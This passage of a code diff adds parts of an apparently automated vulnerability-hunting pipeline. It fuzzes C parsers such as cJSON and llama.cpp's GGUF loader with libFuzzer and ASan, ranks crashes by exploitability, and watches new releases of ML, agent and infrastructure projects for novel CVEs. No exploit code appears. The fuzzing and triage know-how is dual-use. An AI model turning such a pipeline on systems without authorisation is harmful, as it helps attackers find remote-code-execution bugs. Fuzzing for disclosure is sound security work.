| + | 4. TRIAGES the crash (write vs read primitive, PC control, exploitability), | |
| + | 5. writes a Proof node and - only if the triage clears the severity bar - | |
| + | promotes the hypothesis to a Finding through memory's gate. | |
| + | ||
| + | A crash is ground truth. memory.promote_to_finding refuses anything without it. | |
| + | """ | |
| + | import os, sys, re, subprocess, glob, shutil, time | |
| + | sys.path.insert(0, os.path.join(os.path.dirname(__file__), "..", "memory")) | |
| + | from memory import Memory | |
| + | ||
| + | CYCLOPS_HOME = os.environ.get("CYCLOPS_HOME", "/opt/cyclops-v2") | |
| + | CRASH_DIR = os.path.join(CYCLOPS_HOME, "oracle", "crashes") | |
| + | CLANG = os.environ.get("CYCLOPS_CLANG", "clang") | |
| + | ||
| + | # ASan error -> (exploit-primitive, base severity). WRITE primitives are the | |
| + | # path to RCE; READ is info-leak/DoS; we never inflate read DoS into "RCE". | |
| + | ASAN_CLASS = [ | |
| + | (r"heap-buffer-overflow.*WRITE", ("heap OOB WRITE", "CRITICAL")), | |
| + | (r"stack-buffer-overflow.*WRITE", ("stack OOB WRITE", "CRITICAL")), | |
| + | (r"global-buffer-overflow.*WRITE", ("global OOB WRITE", "HIGH")), | |
| + | (r"heap-use-after-free", ("use-after-free", "CRITICAL")), | |
| + | (r"double-free", ("double-free", "HIGH")), | |
| + | (r"WRITE of size", ("OOB WRITE", "CRITICAL")), | |
| + | (r"heap-buffer-overflow.*READ", ("heap OOB READ", "MEDIUM")), | |
| + | (r"stack-buffer-overflow.*READ", ("stack OOB READ", "MEDIUM")), | |
| + | (r"SEGV on unknown address", ("SEGV", "HIGH")), | |
| + | (r"stack-overflow", ("stack exhaustion", "LOW")), | |
| + | (r"out-of-memory", ("OOM", "LOW")), | |
| + | ] | |
| + | ||
| + | ||
| + | def compile_harness(harness_c, target_srcs, out_bin, extra_flags=None): | |
| + | """clang -fsanitize=fuzzer,address. Returns (ok, log).""" | |
| + | cmd = [CLANG, "-g", "-O1", "-fsanitize=fuzzer,address,undefined", | |
| + | "-fno-omit-frame-pointer", harness_c] + list(target_srcs) + \ | |
| + | (extra_flags or []) + ["-o", out_bin] | |
| + | p = subprocess.run(cmd, capture_output=True, text=True) | |
| + | return p.returncode == 0, (p.stderr or "") + (p.stdout or "") | |
| + | ||
| + | ||
| + | def triage(asan_text): | |
| + | """Classify the sanitizer report -> (primitive, severity, exploitable).""" | |
| + | for pat, (prim, sev) in ASAN_CLASS: | |
| + | if re.search(pat, asan_text, re.I): | |
| + | exploitable = sev in ("CRITICAL", "HIGH") and "WRITE" in prim.upper() \ | |
| + | or "use-after-free" in prim or prim == "SEGV" | |
| + | return prim, sev, exploitable | |
| + | return "unknown-fault", "MEDIUM", False | |
| + | ||
| + | ||
| + | def run_fuzz(fuzz_bin, seconds=120, corpus=None): | |
| + | """Run libFuzzer. Returns (crashed, crash_input_path, asan_text).""" | |
| + | os.makedirs(CRASH_DIR, exist_ok=True) | |
| + | artifact = os.path.join(CRASH_DIR, "crash-") | |
| + | args = [fuzz_bin, f"-max_total_time={seconds}", "-print_final_stats=1", | |
| + | f"-artifact_prefix={artifact}"] | |
| + | if corpus: | |
| + | args.append(corpus) | |
| + | p = subprocess.run(args, capture_output=True, text=True) | |
| + | txt = (p.stderr or "") + (p.stdout or "") | |
| + | crashed = ("ERROR: AddressSanitizer" in txt or "ERROR: libFuzzer" in txt | |
| + | or "SUMMARY: " in txt or "runtime error:" in txt) | |
| + | crash_input = None | |
| + | found = sorted(glob.glob(artifact + "*")) | |
| + | if found: | |
| + | crash_input = found[-1] | |
| + | return crashed, crash_input, txt | |
| + | ||
| + | ||
| + | def prove_memory_corruption(target_id, hypothesis_id, impact_family, | |
| + | harness_c, target_srcs, extra_flags=None, | |
| + | seconds=120, repo=""): | |
| + | """Full oracle run for one parser target. Returns a result dict.""" | |
| + | m = Memory() | |
| + | os.makedirs(CRASH_DIR, exist_ok=True) | |
| + | out_bin = os.path.join(CRASH_DIR, f"fuzz_{target_id[:8]}") | |
| + | ok, log = compile_harness(harness_c, target_srcs, out_bin, extra_flags) | |
| + | if not ok: | |
| + | return {"status": "BUILD_FAILED", "log": log[-2000:]} | |
| + | ||
| + | crashed, crash_input, asan = run_fuzz(out_bin, seconds=seconds) | |
| + | if not crashed: | |
| + | # honest negative result - record DISPROVEN so we don't re-chase it | |
| + | m.add_proof(hypothesis_id, "DISPROVEN", "libfuzzer+asan", "", | |
| + | f"fuzzed {seconds}s, no crash reached the sink") | |
| + | return {"status": "NO_CRASH", "seconds": seconds} | |
| + | ||
| + | prim, sev, exploitable = triage(asan) | |
| + | # persist the sanitizer report + reproducer as the artifact | |
| + | report_path = os.path.join(CRASH_DIR, f"report_{target_id[:8]}.txt") | |
| + | with open(report_path, "w") as fh: | |
| + | fh.write(asan) | |
| + | summary = f"{prim}; ASan-confirmed; reproducer={crash_input}" | |
| + | pid = m.add_proof(hypothesis_id, "REPLICA_CONFIRMED", "libfuzzer+asan", | |
| + | report_path, summary) | |
| + | ||
| + | result = {"status": "CRASH", "primitive": prim, "severity": sev, | |
| + | "exploitable": exploitable, "reproducer": crash_input, | |
| + | "report": report_path, "proof": pid} | |
| + | ||
| + | # severity gate: only WRITE/UAF/SEGV (RCE-capable) become findings; pure | |
| + | # read-DoS is recorded as proof but logged as a cleared/low axis, not a P1. | |
| + | if exploitable: | |
| + | fid = m.promote_to_finding( | |
| + | hypothesis_id, impact_family, sev, | |
| + | f"{repo}: {prim} in parser -> {impact_family}", | |
| + | novel=False, cve_checked=False) | |
| + | result["finding"] = fid | |
| + | else: | |
| + | m.clear_axis(target_id, "memory-corruption", f"{prim}@{hypothesis_id[:8]}", | |
| + | "LOW", f"{prim} reproduced but not an RCE-capable primitive") | |
| + | result["note"] = "crash is not RCE-capable; logged as low axis, not a P1 finding" | |
| + | return result | |
| + | ||
| + | ||
| + | if __name__ == "__main__": | |
| + | print("oracle module - invoked by orchestrator. See prove_memory_corruption().") |
| @@ -0,0 +1,30 @@ | ||
| + | #!/bin/bash | |
| + | # Triage NEW deep-campaign crashes. Emit a line ONLY for high-severity | |
| + | # memory-corruption (the "huge" signal). Known-shallow classes (div-by-zero, | |
| + | # SIGFPE, OOM, assert/abort) are marked seen and SILENCED. | |
| + | W=/opt/cyclops-v2/oracle/work/llamacpp | |
| + | BIN="$W/fuzz_deep" | |
| + | SEEN="$W/deep/seen.txt"; touch "$SEEN" | |
| + | CRASHDIR="$W/deep/crashes" | |
| + | [ -d "$CRASHDIR" ] || exit 0 | |
| + | for c in "$CRASHDIR"/d-* "$CRASHDIR"/crash-* "$CRASHDIR"/oom-* "$CRASHDIR"/leak-*; do | |
| + | [ -f "$c" ] || continue | |
| + | b=$(basename "$c") | |
| + | grep -qx "$b" "$SEEN" && continue | |
| + | echo "$b" >> "$SEEN" | |
| + | out=$(ASAN_OPTIONS=detect_leaks=0:abort_on_error=0:exitcode=88 timeout 30 "$BIN" "$c" 2>&1) | |
| + | sig=$(echo "$out" | grep -oE "heap-buffer-overflow|stack-buffer-overflow|global-buffer-overflow|heap-use-after-free|double-free|WRITE of size [0-9]+|stack-overflow|FPE|division by zero|out-of-memory|allocator is out of memory|GGML_ASSERT|GGML_ABORT|SEGV on unknown" | head -1) | |
| + | case "$sig" in | |
| + | heap-buffer-overflow|stack-buffer-overflow|global-buffer-overflow|heap-use-after-free|double-free|"WRITE of size"*) | |
| + | loc=$(echo "$out" | grep -oE "gguf.cpp:[0-9]+|ggml[-a-z]*\.c:[0-9]+|ggml\.c:[0-9]+" | head -1) | |
| + | echo "HIGH $b :: $sig @ ${loc:-?}" ;; | |
| + | "SEGV on unknown") | |
| + | # SEGV could be read (DoS) or write; show it for review but lower urgency | |
| + | loc=$(echo "$out" | grep -oE "gguf.cpp:[0-9]+|ggml[-a-z]*\.c:[0-9]+" | head -1) | |
| + | echo "REVIEW $b :: SEGV @ ${loc:-?}" ;; | |
| + | FPE|"division by zero"|stack-overflow|out-of-memory|"allocator is out of memory"|GGML_ASSERT|GGML_ABORT) | |
| + | : ;; # known-shallow DoS class - silence | |
| + | *) | |
| + | [ -n "$out" ] && echo "REVIEW $b :: unclassified" || : ;; | |
| + | esac | |
| + | done |
| @@ -0,0 +1,98 @@ | ||
| + | #!/bin/bash | |
| + | # Cyclops v2 - end-to-end machine validation on REAL code. | |
| + | # Proves the full chain works: brain (joern dataflow) -> oracle (fuzz+ASan crash | |
| + | # -> triage -> proof) -> memory gate (promote only if RCE-capable). | |
| + | # | |
| + | # Target: cJSON (DaveGamble/cJSON) - a real, ubiquitously-deployed C JSON parser | |
| + | # used inside countless C/C++ and ML-adjacent projects. We pin an OLDER tag with | |
| + | # a known parser defect so the crash is reproducible and VERIFIABLE - this run | |
| + | # validates the MACHINE on real-but-known-vulnerable code, it is not claimed as a | |
| + | # fresh 0-day. The same machine, pointed at GGUF/ONNX/safetensors, is the hunt. | |
| + | set -e | |
| + | export CYCLOPS_HOME=/opt/cyclops-v2 | |
| + | PY=/opt/cyclops-venv/bin/python | |
| + | W=/opt/cyclops-v2/oracle/work | |
| + | mkdir -p "$W" && cd "$W" | |
| + | ||
| + | echo "=== [1/5] seed knowledge graph ===" | |
| + | $PY /opt/cyclops-v2/orchestrator/seed_graph.py | |
| + | ||
| + | echo "=== [2/5] fetch real target (cJSON, pinned old tag) ===" | |
| + | if [ ! -d cJSON ]; then | |
| + | git clone --quiet https://github.com/DaveGamble/cJSON.git | |
| + | fi | |
| + | cd cJSON | |
| + | git checkout -q v1.7.10 2>/dev/null || git checkout -q v1.7.12 2>/dev/null || true | |
| + | COMMIT=$(git rev-parse --short HEAD) | |
| + | echo "cJSON @ $COMMIT" | |
| + | cd "$W" | |
| + | ||
| + | echo "=== [3/5] BRAIN: joern dataflow on real source ===" | |
| + | $PY /opt/cyclops-v2/brain/brain.py \ | |
| + | "github.com/DaveGamble/cJSON" "memory-unsafe-parsers" \ | |
| + | "$W/cJSON" "c" "$COMMIT" || true | |
| + | ||
| + | echo "=== [4/5] write a libFuzzer harness for cJSON_Parse ===" | |
| + | cat > /opt/cyclops-v2/oracle/harnesses/cjson_harness.c <<'EOF' | |
| + | #include <stdint.h> | |
| + | #include <stdlib.h> | |
| + | #include <string.h> | |
| + | #include "cJSON.h" | |
| + | int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) { | |
| + | char *buf = (char *)malloc(size + 1); | |
| + | if (!buf) return 0; | |
| + | memcpy(buf, data, size); | |
| + | buf[size] = '\0'; | |
| + | cJSON *j = cJSON_Parse(buf); | |
| + | if (j) { | |
| + | char *p = cJSON_Print(j); | |
| + | if (p) free(p); | |
| + | cJSON_Delete(j); | |
| + | } | |
| + | free(buf); | |
| + | return 0; | |
| + | } | |
| + | EOF | |
| + | ||
| + | echo "=== [5/5] ORACLE: compile+fuzz+ASan+triage+gate ===" | |
| + | $PY - <<'PYEOF' | |
| + | import sys, os | |
| + | sys.path.insert(0, "/opt/cyclops-v2/memory") | |
| + | sys.path.insert(0, "/opt/cyclops-v2/oracle") | |
| + | from memory import Memory | |
| + | from oracle import prove_memory_corruption | |
| + | ||
| + | m = Memory() | |
| + | W = "/opt/cyclops-v2/oracle/work" | |
| + | # the target id brain just created (same repo+commit hash) | |
| + | import subprocess | |
| + | commit = subprocess.run(["git","-C",f"{W}/cJSON","rev-parse","--short","HEAD"], | |
| + | capture_output=True, text=True).stdout.strip() | |
| + | import hashlib | |
| + | tid = hashlib.sha1(f"github.com/DaveGamble/cJSON|{commit}".encode()).hexdigest()[:16] | |
| + | ||
| + | # find (or create) a memory-corruption hypothesis on this target to attach proof to | |
| + | res = m._exec("""MATCH (t:Target {id:$t})-[:HAS_HYPOTHESIS]->(h:Hypothesis) | |
| + | WHERE h.sink_class='memory-corruption' RETURN h.id LIMIT 1""", {"t": tid}) | |
| + | if res.has_next(): | |
| + | hid = res.get_next()[0] | |
| + | print("using brain-found hypothesis", hid) | |
| + | else: | |
| + | # brain's C dataflow may not have pinned the exact sink; create the hypothesis | |
| + | # the fuzzer is testing (parser entrypoint -> internal memory ops). | |
| + | hid = m.add_hypothesis(tid, "memory-corruption", "cJSON.c", 0, | |
| + | "cJSON_Parse(input)", "internal buffer ops", "oracle-harness") | |
| + | print("created hypothesis", hid) | |
| + | ||
| + | r = prove_memory_corruption( | |
| + | target_id=tid, hypothesis_id=hid, | |
| + | impact_family="RCE via Memory Corruption", | |
| + | harness_c="/opt/cyclops-v2/oracle/harnesses/cjson_harness.c", | |
| + | target_srcs=[f"{W}/cJSON/cJSON.c"], | |
| + | extra_flags=[f"-I{W}/cJSON"], | |
| + | seconds=int(os.environ.get("FUZZ_SECONDS","150")), | |
| + | repo="cJSON") | |
| + | print("ORACLE RESULT:", r) | |
| + | print("GRAPH:", m.stats()) | |
| + | PYEOF | |
| + | echo "=== E2E COMPLETE ===" |
| @@ -0,0 +1,78 @@ | ||
| + | #!/usr/bin/env python3 | |
| + | """ | |
| + | Cyclops v2 - fresh-target feed (anti "beaten to the punch"). | |
| + | ||
| + | Hunt code that is DAYS old, before anyone else has looked. Watches GitHub | |
| + | releases/tags for a curated set of high-value repos per archetype and enqueues | |
| + | freshly-released versions for analysis. New code = unexplored sinks = novel CVEs, | |
| + | not sibling-CVE rediscovery. | |
| + | ||
| + | No auth needed for public release feeds (unauthenticated GitHub API, low rate). | |
| + | If GH_TOKEN is set it's used to raise the rate limit. | |
| + | """ | |
| + | import os, sys, json, time, urllib.request | |
| + | sys.path.insert(0, os.path.join(os.path.dirname(__file__), "..", "memory")) | |
| + | from memory import Memory | |
| + | ||
| + | # curated watchlist - high-value, actively-released, in our archetypes | |
| + | WATCH = { | |
| + | "ml-model-loaders": [ | |
| + | "ggml-org/llama.cpp", "microsoft/onnxruntime", "huggingface/safetensors", | |
| + | "pytorch/pytorch", "comfyanonymous/ComfyUI", "gradio-app/gradio", | |
| + | "huggingface/transformers", "vllm-project/vllm", | |
| + | ], | |
| + | "ai-agent-mcp": [ | |
| + | "open-webui/open-webui", "FlowiseAI/Flowise", "n8n-io/n8n", | |
| + | "langchain-ai/langchain", "run-llama/llama_index", | |
| + | ], | |
| + | "devops-infra": [ | |
| + | "grafana/grafana", "go-gitea/gitea", "jenkinsci/jenkins", | |
| + | "argoproj/argo-cd", "minio/minio", "metabase/metabase", | |
| + | ], | |
| + | "memory-unsafe-parsers": [ | |
| + | "DaveGamble/cJSON", "libarchive/libarchive", "madler/zlib", | |
| + | "nlohmann/json", "tafia/quick-xml", | |
| + | ], | |
| + | } | |
| + | ||
| + | API = "https://api.github.com/repos/{}/releases/latest" | |
| + | ||
| + | def _get(url): | |
| + | req = urllib.request.Request(url, headers={"User-Agent": "cyclops-v2"}) | |
| + | tok = os.environ.get("GH_TOKEN") | |
| + | if tok: | |
| + | req.add_header("Authorization", f"Bearer {tok}") | |
| + | with urllib.request.urlopen(req, timeout=20) as r: | |
| + | return json.loads(r.read().decode()) | |
| + | ||
| + | def poll(max_age_days=21): | |
| + | m = Memory() | |
| + | now = time.time() | |
| + | fresh = [] | |
| + | for archetype, repos in WATCH.items(): | |
| + | for repo in repos: | |
| + | try: | |
| + | rel = _get(API.format(repo)) | |
| + | except Exception as e: | |
| + | print(f"[feed] {repo}: {e}") | |
| + | continue | |
| + | tag = rel.get("tag_name", "") | |
| + | pub = rel.get("published_at", "") | |
| + | if not pub: | |
| + | continue | |
| + | age = (now - time.mktime(time.strptime(pub, "%Y-%m-%dT%H:%M:%SZ"))) / 86400 | |
| + | key = f"feed:seen:{repo}:{tag}" | |
| + | if m.r.sismember("cyclops:feed_seen", key): | |
| + | continue | |
| + | m.r.sadd("cyclops:feed_seen", key) | |
| + | if age <= max_age_days: | |
| + | job = {"repo": f"github.com/{repo}", "archetype": archetype, | |
| + | "tag": tag, "released_at": pub, "age_days": round(age, 1)} | |
| + | m.enqueue("targets", job) | |
| + | fresh.append(job) | |
| + | print(f"[feed] FRESH {repo} {tag} ({age:.1f}d old) -> queued") | |
| + | print(f"[feed] {len(fresh)} fresh targets queued") | |
| + | return fresh | |
| + | ||
| + | if __name__ == "__main__": | |
| + | poll(int(sys.argv[1]) if len(sys.argv) > 1 else 21) |
| @@ -0,0 +1,123 @@ | ||
| + | #!/usr/bin/env python3 | |
| + | """ | |
| + | Cyclops v2 - orchestrator loop. | |
| + | ||
| + | Ties the pillars into one queue-driven loop: | |
| + | feed (fresh targets) -> brain (dataflow hypotheses) -> oracle (execution | |
| + | proof) -> memory gate (finding only with proof) -> vault projection. | |
| + | ||
| + | This is intentionally THIN. The intelligence lives in the brain queries, the | |
| + | oracle harnesses, and the severity gate - not in a 164-tool buffet. The loop's | |
| + | job is sequencing, caching, and refusing to skip the proof step. | |
| + | ||
| + | Run modes: | |
| + | orchestrator.py feed # poll fresh releases -> targets queue | |
| + | orchestrator.py drain-targets # pull targets -> run brain on each | |
| + | orchestrator.py drain-oracle # pull oracle jobs -> attempt proofs | |
| + | orchestrator.py status # graph + queue stats | |
| + | """ | |
| + | import os, sys, subprocess, json | |
| + | sys.path.insert(0, os.path.join(os.path.dirname(__file__), "..", "memory")) | |
| + | sys.path.insert(0, os.path.join(os.path.dirname(__file__), "..", "brain")) | |
| + | from memory import Memory | |
| + | ||
| + | CYCLOPS_HOME = os.environ.get("CYCLOPS_HOME", "/opt/cyclops-v2") | |
| + | PY = os.environ.get("CYCLOPS_PY", "/opt/cyclops-venv/bin/python") | |
| + | SRC_CACHE = os.path.join(CYCLOPS_HOME, "targets", "src") | |
| + | ||
| + | def _checkout(repo, tag): | |
| + | """Shallow-clone a target at a tag into the src cache. Returns local path.""" | |
| + | os.makedirs(SRC_CACHE, exist_ok=True) | |
| + | name = repo.replace("github.com/", "").replace("/", "__") | |
| + | dest = os.path.join(SRC_CACHE, name) | |
| + | url = "https://" + repo + ".git" | |
| + | if not os.path.isdir(dest): | |
| + | subprocess.run(["git", "clone", "--quiet", "--depth", "1", | |
| + | "--branch", tag, url, dest], | |
| + | capture_output=True, text=True) | |
| + | if not os.path.isdir(dest): # tag may not be a branch; full clone fallback | |
| + | subprocess.run(["git", "clone", "--quiet", url, dest], capture_output=True) | |
| + | subprocess.run(["git", "-C", dest, "checkout", "-q", tag], capture_output=True) | |
| + | return dest | |
| + | ||
| + | def cmd_feed(): | |
| + | subprocess.run([PY, os.path.join(CYCLOPS_HOME, "orchestrator", "feed.py")]) | |
| + | ||
| + | def cmd_drain_targets(limit=20): | |
| + | m = Memory() | |
| + | n = 0 | |
| + | while n < limit: | |
| + | job = m.dequeue("targets", timeout=2) | |
| + | if not job: | |
| + | break | |
| + | repo, arch, tag = job["repo"], job["archetype"], job.get("tag", "HEAD") | |
| + | print(f"[orch] target {repo}@{tag} [{arch}]") | |
| + | src = _checkout(repo, tag) | |
| + | if not os.path.isdir(src): | |
| + | print(f"[orch] checkout failed: {repo}@{tag}") | |
| + | continue | |
| + | lang = _guess_lang(src) | |
| + | subprocess.run([PY, os.path.join(CYCLOPS_HOME, "brain", "brain.py"), | |
| + | repo, arch, src, lang, tag]) | |
| + | n += 1 | |
| + | print(f"[orch] drained {n} targets") | |
| + | ||
| + | def cmd_drain_oracle(limit=20): | |
| + | """Pull brain's oracle jobs. For memory-corruption hypotheses on C targets we | |
| + | can auto-fuzz; other sink classes are queued for a harness author (logged).""" | |
| + | m = Memory() | |
| + | n = 0 | |
| + | while n < limit: | |
| + | job = m.dequeue("oracle", timeout=2) | |
| + | if not job: | |
| + | break | |
| + | hyps = job.get("hypotheses", []) | |
| + | mem = [h for h in hyps if h["sink_class"] == "memory-corruption"] | |
| + | print(f"[orch] oracle job {job['repo']}: {len(hyps)} hyps " | |
| + | f"({len(mem)} auto-fuzzable memory-corruption)") | |
| + | # auto-fuzzable ones need a harness; if none exists yet, flag for authoring | |
| + | for h in mem: | |
| + | m.enqueue("harness_author", {"target": job["target"], "repo": job["repo"], | |
| + | "src": job["src"], "hyp": h}) | |
| + | # non-memory hypotheses -> replica detonation queue (web/agent archetypes) | |
| + | for h in hyps: | |
| + | if h["sink_class"] != "memory-corruption": | |
| + | m.enqueue("detonation", {"target": job["target"], "repo": job["repo"], | |
| + | "src": job["src"], "hyp": h}) | |
| + | n += 1 | |
| + | print(f"[orch] routed {n} oracle jobs (harness_author + detonation queues)") | |
| + | ||
| + | def cmd_status(): | |
| + | m = Memory() | |
| + | print("=== GRAPH ===") | |
| + | for k, v in m.stats().items(): | |
| + | print(f" {k}: {v}") | |
| + | print("=== QUEUES ===") | |
| + | for q in ("targets", "oracle", "harness_author", "detonation"): | |
| + | print(f" {q}: {m.r.llen('cyclops:q:'+q)}") | |
| + | print("=== FINDINGS (gated) ===") | |
| + | res = m._exec("""MATCH (f:Finding) RETURN f.severity, f.impact_family, f.title | |
| + | ORDER BY f.severity""") | |
| + | while res.has_next(): | |
| + | r = res.get_next() | |
| + | print(f" [{r[0]}] {r[1]} :: {r[2]}") | |
| + | ||
| + | def _guess_lang(src): | |
| + | import collections | |
| + | ext = collections.Counter() | |
| + | for root, _, files in os.walk(src): | |
| + | if "/.git" in root: | |
| + | continue | |
| + | for f in files: | |
| + | e = f.rsplit(".", 1)[-1].lower() if "." in f else "" | |
| + | if e in ("c", "h", "cc", "cpp", "cxx"): ext["c"] += 1 | |
| + | elif e in ("py",): ext["python"] += 1 | |
| + | elif e in ("js", "ts", "jsx", "tsx"): ext["javascript"] += 1 | |
| + | elif e in ("java",): ext["java"] += 1 | |
| + | elif e in ("go",): ext["go"] += 1 | |
| + | return ext.most_common(1)[0][0] if ext else "" | |
| + | ||
| + | if __name__ == "__main__": | |
| + | cmd = sys.argv[1] if len(sys.argv) > 1 else "status" | |
| + | {"feed": cmd_feed, "drain-targets": cmd_drain_targets, | |
| + | "drain-oracle": cmd_drain_oracle, "status": cmd_status}.get(cmd, cmd_status)() |
| @@ -0,0 +1,45 @@ | ||
| + | #!/usr/bin/env python3 | |
| + | """Seed the knowledge graph with archetypes, sink classes, and the P1 impact | |
| + | families (the severity gate). Idempotent.""" | |
| + | import os, sys | |
| + | sys.path.insert(0, os.path.join(os.path.dirname(__file__), "..", "memory")) | |
| + | from memory import Memory | |
| + | ||
| + | ARCHETYPES = { | |
| + | "ml-model-loaders": "Model-file & inference parsers (GGUF/ONNX/safetensors/pickle/joblib) - load-time RCE. Headline.", | |
| + | "ai-agent-mcp": "Agent/tool-runners & MCP servers - tool-abuse, sandbox escape, SSRF->RCE.", | |
| + | "devops-infra": "Self-hosted infra (Jenkins/Grafana/Redis/Jupyter/Argo) - unauth RCE, SSRF->metadata.", | |
| + | "electron-desktop": "Electron apps (Obsidian/Cursor/Discord) - renderer-XSS->node, protocol-handler RCE.", | |
| + | "cicd-supplychain": "CI/CD & supply chain - workflow injection, runner takeover, dependency confusion.", | |
| + | "memory-unsafe-parsers": "Image/archive/font/serialization C/C++ libs - fuzz->memory corruption->RCE.", | |
| + | } | |
| + | ||
| + | # (sink class, CWE, impact family on the gate) | |
| + | SINKCLASSES = [ | |
| + | ("memory-corruption", "CWE-787", "RCE via Memory Corruption"), | |
| + | ("deserialization", "CWE-502", "RCE via Deserialization"), | |
| + | ("command-injection", "CWE-78", "RCE via Command Injection"), | |
| + | ("template-injection", "CWE-1336","RCE via Template Injection"), | |
| + | ("sql-injection", "CWE-89", "RCE/Data via SQL Injection"), | |
| + | ("path-traversal", "CWE-22", "Arbitrary File Read/Write -> Secrets/RCE"), | |
| + | ("ssrf", "CWE-918", "SSRF -> Metadata/Internal/RCE"), | |
| + | ("xxe", "CWE-611", "XXE -> Internal File Read"), | |
| + | ("auth-bypass", "CWE-287", "Authentication Bypass / ATO"), | |
| + | ("electron-rce", "CWE-94", "One-Click/Zero-Click RCE"), | |
| + | ("container-escape", "CWE-269", "Container/VM/Sandbox Escape"), | |
| + | ("ssti-upload-rce", "CWE-434", "RCE via File Upload"), | |
| + | ] | |
| + | ||
| + | def main(): | |
| + | m = Memory() | |
| + | for name, desc in ARCHETYPES.items(): | |
| + | m.upsert_archetype(name, desc) | |
| + | for name, cwe, fam in SINKCLASSES: | |
| + | m._exec("""MERGE (s:SinkClass {name:$n}) | |
| + | SET s.cwe=$c, s.impact_family=$f""", | |
| + | {"n": name, "c": cwe, "f": fam}) | |
| + | print("seeded archetypes:", len(ARCHETYPES), "sink classes:", len(SINKCLASSES)) | |
| + | print("graph:", m.stats()) | |
| + | ||
| + | if __name__ == "__main__": | |
| + | main() |
| @@ -0,0 +1,64 @@ | ||
| + | #!/bin/bash | |
| + | # Deep llama.cpp GGUF campaign: guard shallow DoS -> rebuild -> fuzz the deeper | |
| + | # metadata AND tensor-alloc paths in fork mode for hours, accumulating DISTINCT | |
| + | # crashes. Goal: a novel memory-corruption bug not in the disclosed V-01..V-06. | |
| + | set -e | |
| + | export CYCLOPS_HOME=/opt/cyclops-v2 | |
| + | PY=/opt/cyclops-venv/bin/python | |
| + | T=/opt/cyclops-v2/targets/src/llama.cpp | |
| + | H=/opt/cyclops-v2/oracle/harnesses | |
| + | W=/opt/cyclops-v2/oracle/work/llamacpp | |
| + | mkdir -p "$W/deep" "$W/deep/crashes" "$W/corpus2" | |
| + | ||
| + | echo "=== [1/4] guard shallow div-by-zero sites for depth ===" | |
| + | $PY /opt/cyclops-v2/targets/patch_gguf_fuzzdepth.py | |
| + | ||
| + | echo "=== [2/4] rebuild libggml-base (patched) with ASan ===" | |
| + | cd "$T" | |
| + | cmake --build build-asan --target ggml-base -j4 > "$W/deep/rebuild.log" 2>&1 | |
| + | echo "rebuilt: $(find build-asan -name libggml-base.a)" | |
| + | LIBS=$(find "$T/build-asan" -name "libggml*.a" | tr '\n' ' ') | |
| + | ||
| + | echo "=== [3/4] build deep harness (no_alloc=false: allocates tensors) ===" | |
| + | cat > "$H/llamacpp_gguf_deep.cpp" <<'EOF' | |
| + | #include <cstdio> | |
| + | #include <cstdint> | |
| + | #include <cstddef> | |
| + | #include "ggml.h" | |
| + | #include "gguf.h" | |
| + | // Deep path: no_alloc=false + a ggml_context => parser allocates tensor data, | |
| + | // exercising tensor-offset/size handling where memory-corruption would live. | |
| + | extern "C" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) { | |
| + | if (size > (8u<<20)) return 0; // cap to keep allocations sane | |
| + | FILE *f = fmemopen((void*)data, size, "rb"); | |
| + | if (!f) return 0; | |
| + | struct ggml_context *ctx_data = nullptr; | |
| + | struct gguf_init_params p; p.no_alloc = false; p.ctx = &ctx_data; | |
| + | struct gguf_context *ctx = gguf_init_from_file_ptr(f, p); | |
| + | if (ctx) gguf_free(ctx); | |
| + | if (ctx_data) ggml_free(ctx_data); | |
| + | fclose(f); | |
| + | return 0; | |
| + | } | |
| + | EOF | |
| + | clang++ -g -O1 -fsanitize=fuzzer,address,undefined -fno-omit-frame-pointer \ | |
| + | "$H/llamacpp_gguf_deep.cpp" -I"$T/ggml/include" $LIBS -lm -lpthread -lgomp \ | |
| + | -o "$W/fuzz_deep" 2>"$W/deep/compile.log" \ | |
| + | && echo "DEEP HARNESS COMPILED" || { echo "COMPILE FAILED"; tail -12 "$W/deep/compile.log"; exit 1; } | |
| + | # also rebuild the metadata harness against the patched lib | |
| + | clang++ -g -O1 -fsanitize=fuzzer,address,undefined -fno-omit-frame-pointer \ | |
| + | "$H/llamacpp_gguf_harness.cpp" -I"$T/ggml/include" $LIBS -lm -lpthread -lgomp \ | |
| + | -o "$W/fuzz_meta" 2>>"$W/deep/compile.log" && echo "META HARNESS REBUILT" || true | |
| + | ||
| + | echo "=== [4/4] launch fork-mode campaign (6h, ignore_crashes, accumulate distinct) ===" | |
| + | cp "$W/seeds/"* "$W/corpus2/" 2>/dev/null || true | |
| + | cd "$W/deep" | |
| + | # deep harness, fork mode keeps running across crashes, dedups by crash stack | |
| + | ASAN_OPTIONS=detect_leaks=0:abort_on_error=1 nohup "$W/fuzz_deep" \ | |
| + | -fork=2 -ignore_crashes=1 -max_total_time=21600 -rss_limit_mb=4096 -timeout=30 \ | |
| + | -artifact_prefix="$W/deep/crashes/d-" "$W/corpus2" "$W/seeds" \ | |
| + | > "$W/deep/fuzz_deep.log" 2>&1 & | |
| + | echo "DEEP_FUZZ_PID=$!" | |
| + | sleep 15 | |
| + | echo "=== early deep status ==="; tail -6 "$W/deep/fuzz_deep.log" 2>/dev/null | |
| + | echo "crashes so far: $(ls $W/deep/crashes/ 2>/dev/null | wc -l)" |
| @@ -0,0 +1,41 @@ | ||
| + | #!/bin/bash | |
| + | # Robust unattended deep fuzz WITHOUT libFuzzer fork mode (fork is unstable in this | |
| + | # unprivileged LXC). Runs fuzz_deep in repeated bursts against a growing corpus; | |
| + | # on each crash, archives the reproducer + its triage signature and continues. | |
| + | # Dedups crashes by signature so shallow recurring ones don't spam. | |
| + | W=/opt/cyclops-v2/oracle/work/llamacpp | |
| + | BIN="$W/fuzz_deep" | |
| + | CORP="$W/corpus2" | |
| + | CRASH="$W/deep/crashes" | |
| + | SIGS="$W/deep/sigs.txt" | |
| + | LOG="$W/deep/loop.log" | |
| + | mkdir -p "$CORP" "$CRASH"; touch "$SIGS" | |
| + | cp "$W/seeds/"* "$CORP/" 2>/dev/null || true | |
| + | DEADLINE=$(( $(date +%s) + 21600 )) # 6h | |
| + | ||
| + | echo "deep_loop start $(date)" > "$LOG" | |
| + | i=0 | |
| + | while [ "$(date +%s)" -lt "$DEADLINE" ]; do | |
| + | i=$((i+1)) | |
| + | # 10-min burst; libFuzzer grows $CORP and writes crash-* on a fault, then exits. | |
| + | ASAN_OPTIONS=detect_leaks=0:abort_on_error=0:exitcode=77 \ | |
| + | timeout 660 "$BIN" -max_total_time=600 -rss_limit_mb=4096 -timeout=30 \ | |
| + | -artifact_prefix="$W/deep/crash-" "$CORP" >> "$LOG" 2>&1 | |
